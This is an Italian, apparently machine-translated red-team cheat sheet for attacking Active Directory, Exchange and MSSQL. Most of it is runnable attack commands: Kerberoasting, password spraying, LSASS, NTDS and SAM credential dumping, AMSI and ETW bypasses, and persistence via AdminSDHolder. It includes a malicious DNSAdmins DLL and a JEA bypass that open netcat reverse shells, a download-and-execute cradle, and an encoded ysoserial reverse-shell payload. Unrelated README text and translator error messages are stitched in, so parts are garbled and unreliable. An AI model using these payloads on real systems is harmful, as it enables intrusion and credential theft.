
Red Team Cheatsheet in continua espansione.

Puoi supportarmi qui 🐱 :
Questa CheatSheet sugli attacchi AD, creata da RistBS, è ispirata al repository Active-Directory-Exploitation-Cheat-Sheet.
Strumenti Powershell :
[⭐] Nishang -> https://github.com/samratashok/nishangnishang ha molteplici script utili per il pentesting di Windows in ambiente Powershell.
powerview è uno script di powersploit che consente l'enumerazione dell'architettura AD per un potenziale movimento laterale.
Strumenti di Enumerazione :
[⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound[⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExeToolkit per lo sfruttamento di AD :
[⭐] Impacket -> https://github.com/SecureAuthCorp/impacket[⭐] kekeo -> https://github.com/gentilkiwi/kekeoStrumenti di Dump :
[⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz[⭐] rubeus -> https://github.com/GhostPack/RubeusStrumento Listener :
[⭐] responder -> https://github.com/SpiderLabs/ResponderPS-Session :```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100
$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100
### PSWA Abusing
consente a chiunque abbia credenziali di connettersi a qualsiasi macchina e qualsiasi configurazione
**[ ! ] questa azione richiede credenziali.**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *
utilizzando PowerView :```powershell Get-NetUser –SPN
> utilizzando [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
MapTrust :```powershell Invoke-MapDomainTrust
**Trust di dominio per il dominio corrente :**
> utilizzando [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain
usando AD Module :```powershell Get-ADTrust Get-ADTrust –Identity $domain
### Enumerazione della foresta
**Dettagli sulla foresta corrente :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain
Elenco di GPO```powershell Get-NetGPO Get-NetGPO -ComputerName $computer Get-GPO -All Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html
### Enumerazione ACL e ACE
**Enumera tutti gli ACE**```powershell
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
*Verifica se l'utente ha già un SPN :*
> usando [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname
utilizzando AD Module :```powershell Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
### Enumerazione LDAP```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"
*trova account di servizio```powershell ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"
*Enumerazione con ldapsearch come utente autenticato*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'
Enumerazione con ldapdomaindump (autenticato) con output pulito``` ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep
*Enumerazione con script nmap*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100
enumerazione con crackmapexec senza autenticazione```bash crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''
*enumerazione con crackmapexec (autenticato)*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess
enumerazione con kerbrute, contro il bruteforzamento pre-auth di Kerberos:```bash /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade
> per impostazione predefinita, kerbrute utilizza la modalità più sicura (18 = sha1) per ottenere qualche hash. Usando l'opzione di downgrade possiamo ottenere la versione deprecata del tipo di crittografia (23 = rc4hmac). Oppure utilizzare getNPusers per ottenere qualche hash, è più sicuro!
*fornire una password o un elenco di password da testare contro gli utenti*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list
Enumerare alcuni utenti```bash crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt
### Password Spraying sul dominio```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'
Scaricare Dominio, Gruppi e Utenti utilizzando Bloodhound-Python:```bash bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30
Configurazione di Bloodhound:```bash
sudo neo4j console
sudo bloodhound
Struttura Globale :``` S-1-5-21-40646273370-24341400410-2375368561-1036
- `S-1-5-21`: **S si riferisce a SID (Security Identifier)**
- `40646273370-24341400410-2375368561`: **Identificatore di Dominio o Computer Locale**
- `1036`: **RID (Relative Identifier)**
*Struttura del SID Utente :*
- `S-1-5-21-40646273370-24341400410-2375368561`: **SID di Dominio**
- `1036`: **RID Utente**
> utilizzando [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) :```bash
cme smb $target -u $username -p $password --rid-brute
usando lookupsid :```bash lookupsid.py MEGACORP/$user:'$password'@$target 20000
il valore "20000" in lookupsid serve per indicare quanti RID verranno testati
## Escalation dei Privilegi
### Impersonazione del Token
> La tecnica di impersonazione del token consente di impersonare un utente rubando il suo token, questo token permette di sfruttare questa tecnica a causa dei processi SSO, Interactive Logon, processi in esecuzione...
> usando [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :
*elenca i token*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate
Avviare un nuovo processo con il token di un utente```powershell Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"
*manipolazione dei token di processo*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id
usando Incognito :
caricare incognito ed elencare i token :```bash meterpreter > use incognito meterpreter > list_tokens -g
*impersona token di "NT AUTHORITY\SYSTEM" :*```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Enumerare utente kerberoastabile```powershell Get-DomainUser -SPN | select name,serviceprincipalname
> usando [impacket](https://github.com/SecureAuthCorp/impacket) :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'
utilizzando crackmapexec```powershell crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc
*crack l'hash :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force
Enumerare utente asreproastable```powershell Get-DomainUser -PreauthNotRequired | select name
Non è stato fornito alcun contenuto Markdown da tradurre.```powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request
hashcat -m 18200 -a 0 hash wordlist.txt --force
Enumera gli utenti in questo gruppo :```powershell
Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins
*Questo attacco consiste nell'iniettare una DLL dannosa arbitraria e riavviare il servizio dns.exe, poiché il DC funge da servizio DNS, possiamo elevare i nostri privilegi a DA.*
> DLL File :```c
#include "stdafx.h"
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
puoi anche creare un file dll usando msfvenom : msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' - f dll > evil.dll
eseguirà net user administrator aked /domain con privilegi SYSTEM
imposta il percorso remoto della DLL nel Registro di Windows```powershell dnscmd dc01 /config /serverlevelplugindll \10.10.14.33\share\evil.dll
`\\10.10.14.33\share\evil.dll` : Condivisione SMB.
**Riavvia il servizio DNS**```powershell
sc.exe stop dns
sc.exe start dns
usa autenticazione Kerberos```powershell impacket-wmiexec -k -no-pass [email protected]
## Dump delle credenziali
### Dump di LSASS```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy
(empty response due to missing input content)```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe
Please provide the Markdown content to translate.```powershell psexec.py MEGACORP.LOCAL/[email protected] "C:\Windows\Temp\procdump.exe -accepteula -ma lsass C:\Windows\Temp\lsass.dmp"
```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# get lsass.dmp
analizza le credenziali con mimikatz```powershell sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
puoi farlo localmente con mimikatz usando: `sekurlsa::logonpasswords`.
### NTDS Dumping
**Abuso di DRSUAPI per il dumping di NTDS**```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi
Sfruttare VSS per dump di NTDS
usando Crackmapexec :```powershell crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
*puoi farlo anche manualmente.*```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId
dump DPAPI BK```bash dpapi.py backupkeys -t $domain/$user:$password@$target
> Decifrare DPAPI MK```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password
decifrando file protetto usando MK```bash dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY
*decifrare la chiave master DPAPI con JTR*```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule
puoi usare mimikatz con questo comando : lsadump::secrets
salva il hive SYSTEM e SAM in un'altra directory```powershell reg save HKLM\SAM c:\path\to\SAM reg save HKLM\SYSTEM c:\path\to\SYSTEM
Crea la tua estensione se hai bisogno di maggiore flessibilità.
## Installazione
### PyPI
Puoi installare l'ultima versione stabile da PyPI.
pip install aws-cfn-diagram
Se ti senti avventuroso, puoi installare l'ultima versione di sviluppo da TestPyPI.
pip install -i https://test.pypi.org/simple/ aws-cfn-diagram
Questo installerà il programma `cfn-diagram` e la libreria `aws_cfn_diagram`.
### Homebrew
Anche l'installazione tramite Homebrew è supportata. Il pacchetto è disponibile nel tap personalizzato.
brew tap shazi7804/aws-cfn-diagram
brew install aws-cfn-diagram
### Manualmente
In alternativa, puoi installare manualmente da GitHub.
pip install git+https://github.com/shazi7804/aws-cfn-diagram.git
## Utilizzo base
Puoi usare questo strumento passando un file di template CloudFormation come argomento.
cfn-diagram <template.yaml>
Il comportamento predefinito è quello di inviare il diagramma all'output standard.```powershell
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM
o usa semplicemente : lsadump::sam
[ 📝 ] Note : puoi eseguire il dump di SAM e LSA con crackmapexec o secretdump usando questi comandi :```bash secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
```bash
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa
[ ❓ ] Cos'è il Registro di sistema? : il Registro è diviso in diverse sezioni chiamate alvei (hives). Un hive del registro è una chiave di registro di primo livello predefinita dal sistema Windows per memorizzare chiavi di registro per obiettivi specifici. Ogni hive del registro ha obiettivi specifici, ci sono 6 hives del registro: HKCU, HKLM, HKCR, HKU, HKCC e HKPD. Gli hives del registro più interessanti nel pentesting sono HKU e HKLM.
HKEY_LOCAL_MACHINE chiamato HKLM include tre chiavi: SAM, SYSTEM e SECURITY.
scaricare SYSTEM e SECURITY da remoto da HKLM :```bash secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes
> scarica il registro HKU da remoto con l'argomento hashes :```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes
$user = 'USER' $gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword' $blob = $gmsa.'msDS-ManagedPassword' $mp = ConvertFrom-ADManagedPasswordBlob $blob $cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword
*dumping di gMSA:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## Cracking di Hash
> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> NT :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
nota : alcuni tipi di Hash in hashcat dipendono da **etype**
## Bruteforce Password AD
### Wordlist personalizzata di nomi utente e password
elenco password predefinito (pwd_list) :
`
Autumn
Spring
Winter
Summer
`
crea password usando bash & hashcat :```bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
lista di nomi utente predefiniti (users.list) :```
john doe
paul smith
jacaques miller
```
crea username personalizzati usando username-anarchy :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## Pivoting
**Pivot con WDFW tramite regole personalizzate**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*consentire connessioni a localport*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### SMB Pipes
**Le porte locali/remote possono essere inoltrate** utilizzando **pipe SMB**. Puoi usare [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) o [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy) per farlo.
- `Invoke-Piper` : *usato per inoltrare porte locali o remote*
- `Invoke-SocksProxy` : *usato per inoltro dinamico delle porte*
**Caso 1** *Inoltro porta locale attraverso pipe perPivot: `-L 33389:127.0.0.1:3389`*
> LATO SERVER :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> LATO CLIENT :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**Case 2** *Solo admin port forwarding remoto tramite pipe forPivot: `-R 33389:127.0.0.1:3389`*
> LATO SERVER :```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> LATO CLIENTE :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**Caso 3** *Inoltro di porte dinamico con Invoke-SocksProxy con forPivot come NamedPipe: `-D 3333`*
> LATO SERVER :```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> LATO CLIENTE :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks
**SharpSocks è usato principalmente nei framework C2 e funziona con gli implanti C2**
*costruisci un server:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### RDP Tunneling via DVC
*condivisione di unità:*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*mappa le unità:*```powershell
PS > net use x: \\TSCLIENT\X
```
crea un server con SSFD.exe```powershell
PS > ssfd.exe -p 8080
```
*Reindirizza la porta SSF con il server DVC:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1
[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD come SOCK proxy*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## Persistence
### SIDHistory Injection
### AdminSDHolder e SDProp
> [ ❓ ] : Con privilegi DA (controllo completo/autorizzazioni di scrittura) sull'oggetto AdminSDHolder, può essere utilizzato come backdoor/meccanismo di persistenza aggiungendo un utente con permessi completi (o altri permessi interessanti) all'oggetto AdminSDHolder.
Dopo 60 minuti (quando SDPROP viene eseguito), l'utente verrà aggiunto con controllo completo all'AC di gruppi come Domain Admins senza esserne effettivamente membro.
> utilizzando [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> utilizzando [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*Esegui SDProp manualmente*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## Abuso di ACL e ACE
### GenericAll
**elenca tutti i gruppi a cui l'utente appartiene e ha diritti di accesso espliciti**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
### Controlli automatici
- Lo strumento esegue una scansione iniziale delle vulnerabilità su ciascuna proprietà web, segnalando potenziali porte, domini, directory .git esposte, file comuni, endpoint di debug, perdite di configurazione e stack tecnologici associati al target specifico.
- Dopo aver elaborato più target, lo strumento aggrega tutti i risultati in un database efficiente, garantendo che i dati siano archiviati correttamente per esecuzioni future.```powershell
net group Administrator aker /add /domain
```
## Bypass di sicurezza potenziato
### AntiMalware Scan Interface```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/%22%7B1%7D%7B0%7D%22-F%27F%27,%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
Patching di AMSI da Powershell6 :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode
Bypassare CLM usando **runspace**:```cs
static void Main(string[] args){
Runspace run = RunspaceFactory.CreateRunspace();
run.Open();
PowerShell shell = PowerShell.Create();
shell.Runspace = run;
String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
shell.AddScript(cmd);
shell.Invoke();
run.Close();
}
```
### Just Enough Administration
> mostra il livello delle lingue correnti :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> Bypass di JEA in ConstrainedLanguage :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> bypass EP usando encoding :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### RunAsPPL per il Dumping delle Credenziali
[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) è una **protezione LSA aggiuntiva** per impedire la lettura della memoria e l'iniezione di codice da parte di **processi non protetti**.
> bypass di RunAsPPL con mimikatz :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### ETW Disabilitazione```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/HEAD/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
puoi provare tecniche di offuscazione su questo comando. Per saperne di più su ETW consulta il mio corso [qui](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)
## MS Exchange
### OWA EWS e EAS Password Spraying
> utilizzando [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) :```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> usando [ruler](https://github.com/sensepost/ruler) :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### Estrazione di GAL e OAB
**GAL (Rubrica Globale degli Indirizzi) Estrazione**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> usando powershell :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**OAB (Rubrica Indirizzi Offline) Estrazione**
*estrai il file OAB.XML che contiene i record*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml
cat oab.xml |grep '.lzx' |grep data
```
*estrarre file compresso LZX*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx
./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?\.)+[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> usando [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange
**[PrivExchange](https://github.com/dirkjanm/PrivExchange) usa la funzionalità PushSubscription, un utente è in grado di catturare i dati di autenticazione NTLM di un server Exchange con una semplice chiamata all'API "PushSubscription"**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon
**[ProxyLogon](https://github.com/hausec/ProxyLogon) è il nome dato a CVE-2021-26855 che permette a un aggressore di bypassare l'autenticazione e impersonare utenti sui server MS Exchange**```bash
python proxylogon.py $ip user@fqdn
```
> usando metasploit:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688
questa CVE consente RCE su EWS tramite chiavi crittografiche fisse
*Ottieni valori per RCE :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL Server
### UNC Path Injection
[ ❓ ] : Uniform Naming Convention __consente la condivisione di risorse__ su una rete attraverso una sintassi molto precisa: `\IP-Server\shareName\Folder\File`
avvia responder : `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### MC-SQLR Avvelenamento
*Il SQL Server Resolution Protocol è un semplice protocollo a livello applicativo utilizzato per il trasferimento di richieste e risposte tra client e servizi di individuazione del server di database.*```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> abbiamo catturato l'hash di **Amministratore** con questo script VBA.```python
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash : Administrator::TEST:1122334455667788...
```
### Trigger DML, DDL e di Logon
